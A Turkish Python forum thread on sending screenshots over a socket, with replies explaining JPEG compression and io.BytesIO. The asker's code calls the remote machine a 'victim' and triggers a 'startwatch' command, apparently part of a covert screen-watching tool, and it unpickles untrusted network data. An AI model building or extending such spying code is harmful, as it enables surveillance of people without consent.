Socket ile medya aktarımı

Socket ile anlık olarak ekran görüntüsü aktarmam gerek. Client te PIL modülünden result = ImageGrab.grab() fonksiyonunu kullanıyorum daha sonra pickle modülünden dumps metodu ile result u yolluyorum. Fakat resmi kaydettiğimizde 200kb ama result unboyutuna baktığımızda 3mb oluyor. result.tobytes() diyip sadece byte verisi yollamak istedim fakat sonuç yine aynı. Geriye tek bir çözüm kalıyor oda client tarafında resmi kaydedip daha sonra resmin verisini dosyadan alıp yollamak fakat buda clientin işlemcisini çok harcıyor. Orta yolu bulacak bir alternatif var mıdır ?

Kodunuzu atar mısınız?

server

        soketwatcher = socket()
        soketwatcher.bind(("192.168.1.32",111))
        soketwatcher.listen(100)
        self.victimsoket.sendall(b"startwatch")
        victim,_=soketwatcher.accept()
        self.state = True
        while self.state:
            data = victim.recv(50000000)
            print(sys.getsizeof(data)) # Çıktısı 3 megabyte e denk geliyor
            pickle.loads(data).save("C:/Users/ertu1/Desktop/denemeee.jpg")
            sleep(1)

Client

            self.watchstate = True
            self.soketwatch = socket()
            self.soketwatch.connect(self.addresswatch)
            while self.watchstate:
                im = ImageGrab.grab()
                self.soketwatch.sendall(pickle.dumps(im))
                sleep(1)

yardım lütfen hala çözemedim

Dosyaya yazınca boyutun küçülmesi büyük ihtimalle JPG formatından kaynaklı, nesnenin resmi sakladığı buffer ile pickle’ın ürettiği bytes arasında pek bir fark yok:

>>> from PIL import Image, ImageGrab
>>> a = ImageGrab.grab()
>>> type(a.tobytes())
<class 'bytes'>
>>> len(a.tobytes())
6220800
>>> import pickle
>>> len(pickle.dumps(a))
6220874
>>> type(pickle.dumps(a))
<class 'bytes'>
>>> 

io.BytesIO kullanın:

>>> from PIL import Image, ImageGrab
>>> a = ImageGrab.grab()
>>> import io
>>> b = io.BytesIO()
>>> a.save(b, "JPEG")
>>> len(b.getbuffer())
224455
>>> 
1 Beğeni

Evet onlar arasında fark yok fakat resmin yazılmış hali ile tampondaki halleri arasında çok fark var. 18 katı küçülmüştü bendekinde. Resmi kayıt edip diskden verisini okuduğumda 200kb, tampondan nesnenin byteini okuduğumda 3mb idi.

Yine sizde burda yaptığınızda işlemde resmi b ye kayıt ediyorsunuz ama tekrar diskten okumaktan kurtulmuşsunuz. Resmi kayıt etmeden de kurtulmamızın yolu varmıdır acaba ?

Resmin sıkıştırılmasının sebebi JPEG formatına dönüştürülmesi, burada da diske bir şey yazmadan tam olarak bunu yapıyoruz. Diske kaydedilen bir şey yok, her şey bellekte.

1 Beğeni

Anladım mantığını çok teşekkür ederim :slight_smile: :slight_smile:

1 Beğeni

Python’un dosya anlayışı neyin nereye yazıldığına bağlı değil, kullanılan nesnede write, read gibi belli metodların bulunması yeterli. io modülü de bize diski araya katmadan, bellekteki nesneleri dosya gibi kullanmamızı sağlayan hazır sınıflar sunuyor. print fonksiyonuna file olarak bile verebiliriz bunları:

>>> import io
>>> out = io.StringIO()
>>> print("Merhaba", file = out)
>>> out
<_io.StringIO object at 0x0000029DA53A13A0>
>>> out.getvalue()
'Merhaba\n'
>>> out.tell()
8
>>> out.seek(0)
0
>>> out.read()
'Merhaba\n'
>>> 
1 Beğeni

Bende tam io dökümantasyonuna bakıyordum 3 çeşit io tipi gördüm. Bu ikisini anladım fakat 3. sü nedir tam olarak ? raw io diye bahsedilen şey sanırım.

Unbuffered byte stream’larına deniliyormuş. Basit özellikler sağlıyor, programcının kullanmasından çok diğer sınıfların miras alması için var.

1 Beğeni

Hocam guido van rossum u duymasam pythonu siz yazdınız sanıcam :smiley: